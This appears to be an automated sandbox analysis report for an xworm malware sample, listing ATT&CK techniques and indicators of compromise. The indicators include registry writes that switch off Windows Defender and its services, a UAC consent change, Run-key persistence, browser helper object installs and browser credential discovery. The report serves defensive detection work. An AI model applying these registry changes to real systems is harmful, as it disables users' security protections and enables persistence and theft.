xworm | 730afe6605cfb0e3791276199c49d2af11585c5d470ee6f4c318040faf53f1a7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	888Cry55pto_18Layer_DefenderKill.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBlockAtFirstSeen = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	888Cry55pto_18Layer_DefenderKill.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	888Cry55pto_18Layer_DefenderKill.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6340	powershell.exe
6384	powershell.exe

A potential corporate email address has been identified in the URL: [email protected]
phishing

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	888Cry55pto_18Layer_DefenderKill.exe
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	program1.exe

Executes dropped EXE 2 IoCs

pid	Process
4988	program1.exe
4520	program2.exe

Loads dropped DLL 37 IoCs

pid	Process
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe
4964	888Cry55pto_18Layer_DefenderKill.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IDMan = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_788_fkhs\\program1.exe /onboot"	program1.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	888Cry55pto_18Layer_DefenderKill.exe

Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

BHOs are DLL modules which act as plugins for Internet Explorer.

stealer adware

Modify Registry

Browser Extensions

T1176

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\ = "IDM Helper"	program1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\NoExplorer = "1"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\ = "IDM Helper"	program1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\NoExplorer = "1"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects	program1.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4520 set thread context of 6744	4520	program2.exe	709

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4748	cmd.exe
3496	cmd.exe
3788	cmd.exe
5000	cmd.exe
1716	cmd.exe
1760	cmd.exe
3864	cmd.exe
1328	cmd.exe
2008	cmd.exe
1568	cmd.exe
5008	cmd.exe
3988	cmd.exe
4148	cmd.exe
2636	cmd.exe
4476	cmd.exe
1336	cmd.exe
5032	cmd.exe
1236	cmd.exe
4952	cmd.exe
216	cmd.exe
3924	cmd.exe
4524	cmd.exe
964	cmd.exe
3920	cmd.exe
4516	cmd.exe
2100	cmd.exe
4140	cmd.exe
1284	cmd.exe
4832	cmd.exe
5040	cmd.exe
3224	cmd.exe
3896	cmd.exe
3636	cmd.exe
544	cmd.exe
4828	cmd.exe
4048	cmd.exe
632	cmd.exe
4232	cmd.exe
1448	cmd.exe
1320	cmd.exe
2332	cmd.exe
2940	cmd.exe
1940	cmd.exe
2760	cmd.exe
3640	cmd.exe
328	cmd.exe
3524	cmd.exe
4152	cmd.exe
4508	cmd.exe
4888	cmd.exe
1732	cmd.exe
2448	cmd.exe
224	cmd.exe
4644	cmd.exe
1156	cmd.exe
4392	cmd.exe
1260	cmd.exe
4680	cmd.exe
4028	cmd.exe
2464	cmd.exe
4616	cmd.exe
4804	cmd.exe
884	cmd.exe
4588	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5200	msedge.exe

Checks processor information in registry 2 TTPs 26 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 64 IoCs

pid	Process
1712	taskkill.exe
4524	taskkill.exe
1236	taskkill.exe
3608	taskkill.exe
2376	taskkill.exe
4496	taskkill.exe
1340	taskkill.exe
960	taskkill.exe
4636	taskkill.exe
5096	taskkill.exe
2732	taskkill.exe
2376	taskkill.exe
4292	taskkill.exe
4588	taskkill.exe
4276	taskkill.exe
4852	taskkill.exe
3532	taskkill.exe
3260	taskkill.exe
2996	taskkill.exe
5016	taskkill.exe
1448	taskkill.exe
4184	taskkill.exe
2492	taskkill.exe
4532	taskkill.exe
4516	taskkill.exe
4780	taskkill.exe
3440	taskkill.exe
3276	taskkill.exe
2172	taskkill.exe
4780	taskkill.exe
5100	taskkill.exe
2124	taskkill.exe
3608	taskkill.exe
2160	taskkill.exe
1340	taskkill.exe
4004	taskkill.exe
3500	taskkill.exe
2636	taskkill.exe
3276	taskkill.exe
3424	taskkill.exe
2148	taskkill.exe
3760	taskkill.exe
4508	taskkill.exe
3184	taskkill.exe
3888	taskkill.exe
816	taskkill.exe
1968	taskkill.exe
4124	taskkill.exe
4788	taskkill.exe
3984	taskkill.exe
3396	taskkill.exe
3648	taskkill.exe
1640	taskkill.exe
4772	taskkill.exe
3584	taskkill.exe
1028	taskkill.exe
1828	taskkill.exe
1224	taskkill.exe
3928	taskkill.exe
1632	taskkill.exe
3000	taskkill.exe
4824	taskkill.exe
3084	taskkill.exe
4028	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 22 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\AppPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_788_fkhs"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\Policy = "3"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_788_fkhs"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Software\Microsoft\Internet Explorer\Low Rights	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppName = "IEMonitor.exe"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\DownloadUI = "{7D11E719-FF90-479C-B0D7-96EB43EE55D7}"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\DownloadUI = "{7D11E719-FF90-479C-B0D7-96EB43EE55D7}"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppName = "program1.exe"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_788_fkhs"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\Policy = "3"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Download with IDM	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\Policy = "3"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Download with IDM\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_788_fkhs\\IEExt.htm"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Download with IDM\contexts = "243"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\AppName = "program1.exe"	program1.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306396768239917"	msedge.exe

Modifies registry class 17 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\ = "IDMan.CIDMLinkTransmitter"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_788_fkhs\\program1.exe"	program1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\ROTFlags = "1"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\WOW6432Node\CLSID\{07999AC3-058B-40BF-984F-69EB1E554CA7}\Therad = "1"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\IDMan.CIDMLinkTransmitter\CLSID	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\RunAs = "Interactive User"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\IDMan.CIDMLinkTransmitter	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\Local Settings	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\WOW6432Node\CLSID\{07999AC3-058B-40BF-984F-69EB1E554CA7}\Model = "219"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\IDMan.CIDMLinkTransmitter\CLSID\ = "{AC746233-E9D3-49CD-862F-068F7B7CCCA4}"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\AppID = "{AC746233-E9D3-49CD-862F-068F7B7CCCA4}"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\LocalServer32	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\ = "IDMan"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000_Classes\WOW6432Node\CLSID\{07999AC3-058B-40BF-984F-69EB1E554CA7}	program1.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-42486406-2033776002-1658862356-1000\{E29C497C-EE4F-4691-9C1A-4F38F747D11F}	msedge.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
6744	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
4664	powershell.exe
4664	powershell.exe
220	powershell.exe
220	powershell.exe
3304	powershell.exe
3304	powershell.exe
4340	powershell.exe
4340	powershell.exe
3896	powershell.exe
3896	powershell.exe
4328	powershell.exe
4328	powershell.exe
4848	powershell.exe
4848	powershell.exe
4672	powershell.exe
4672	powershell.exe
4908	powershell.exe
4908	powershell.exe
3460	powershell.exe
3460	powershell.exe
1812	powershell.exe
1812	powershell.exe
2332	powershell.exe
2332	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
3624	powershell.exe
3624	powershell.exe
4972	powershell.exe
4972	powershell.exe
3304	powershell.exe
3304	powershell.exe
1240	powershell.exe
1240	powershell.exe
4996	powershell.exe
4996	powershell.exe
4204	powershell.exe
4204	powershell.exe
2088	powershell.exe
2088	powershell.exe
3872	powershell.exe
3872	powershell.exe
2820	powershell.exe
2820	powershell.exe
1908	powershell.exe
1908	powershell.exe
64	powershell.exe
64	powershell.exe
4316	powershell.exe
4316	powershell.exe
1740	powershell.exe
1740	powershell.exe
1740	powershell.exe
1740	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
7144	msedge.exe
7144	msedge.exe
7144	msedge.exe
7144	msedge.exe
7144	msedge.exe
7144	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4600	taskkill.exe
Token: SeDebugPrivilege	3008	taskkill.exe
Token: SeDebugPrivilege	4636	taskkill.exe
Token: SeDebugPrivilege	3624	taskkill.exe
Token: SeDebugPrivilege	1448	taskkill.exe
Token: SeDebugPrivilege	1716	taskkill.exe
Token: SeDebugPrivilege	2664	taskkill.exe
Token: SeDebugPrivilege	4276	taskkill.exe
Token: SeDebugPrivilege	4124	taskkill.exe
Token: SeDebugPrivilege	3560	taskkill.exe
Token: SeDebugPrivilege	3500	taskkill.exe
Token: SeDebugPrivilege	5048	taskkill.exe
Token: SeDebugPrivilege	1640	taskkill.exe
Token: SeDebugPrivilege	3760	taskkill.exe
Token: SeDebugPrivilege	2208	taskkill.exe
Token: SeDebugPrivilege	1568	taskkill.exe
Token: SeDebugPrivilege	4184	taskkill.exe
Token: SeDebugPrivilege	3460	taskkill.exe
Token: SeDebugPrivilege	1284	taskkill.exe
Token: SeDebugPrivilege	4788	taskkill.exe
Token: SeDebugPrivilege	2636	taskkill.exe
Token: SeDebugPrivilege	5008	taskkill.exe
Token: SeDebugPrivilege	408	taskkill.exe
Token: SeDebugPrivilege	1288	taskkill.exe
Token: SeDebugPrivilege	4276	taskkill.exe
Token: SeDebugPrivilege	4772	taskkill.exe
Token: SeDebugPrivilege	960	taskkill.exe
Token: SeDebugPrivilege	992	taskkill.exe
Token: SeDebugPrivilege	4824	taskkill.exe
Token: SeDebugPrivilege	2492	taskkill.exe
Token: SeDebugPrivilege	2208	taskkill.exe
Token: SeDebugPrivilege	4120	taskkill.exe
Token: SeDebugPrivilege	4516	taskkill.exe
Token: SeDebugPrivilege	4624	taskkill.exe
Token: SeDebugPrivilege	1712	taskkill.exe
Token: SeDebugPrivilege	1244	taskkill.exe
Token: SeDebugPrivilege	4508	taskkill.exe
Token: SeDebugPrivilege	3276	taskkill.exe
Token: SeDebugPrivilege	5096	taskkill.exe
Token: SeDebugPrivilege	2068	taskkill.exe
Token: SeDebugPrivilege	228	taskkill.exe
Token: SeDebugPrivilege	1028	taskkill.exe
Token: SeDebugPrivilege	4496	taskkill.exe
Token: SeDebugPrivilege	3084	taskkill.exe
Token: SeDebugPrivilege	712	powershell.exe
Token: SeDebugPrivilege	3608	taskkill.exe
Token: SeDebugPrivilege	4532	taskkill.exe
Token: SeDebugPrivilege	4028	taskkill.exe
Token: SeDebugPrivilege	2908	taskkill.exe
Token: SeDebugPrivilege	3440	taskkill.exe
Token: SeDebugPrivilege	3276	taskkill.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeIncreaseQuotaPrivilege	4664	powershell.exe
Token: SeSecurityPrivilege	4664	powershell.exe
Token: SeTakeOwnershipPrivilege	4664	powershell.exe
Token: SeLoadDriverPrivilege	4664	powershell.exe
Token: SeSystemProfilePrivilege	4664	powershell.exe
Token: SeSystemtimePrivilege	4664	powershell.exe
Token: SeProfSingleProcessPrivilege	4664	powershell.exe
Token: SeIncBasePriorityPrivilege	4664	powershell.exe
Token: SeCreatePagefilePrivilege	4664	powershell.exe
Token: SeBackupPrivilege	4664	powershell.exe
Token: SeRestorePrivilege	4664	powershell.exe
Token: SeShutdownPrivilege	4664	powershell.exe

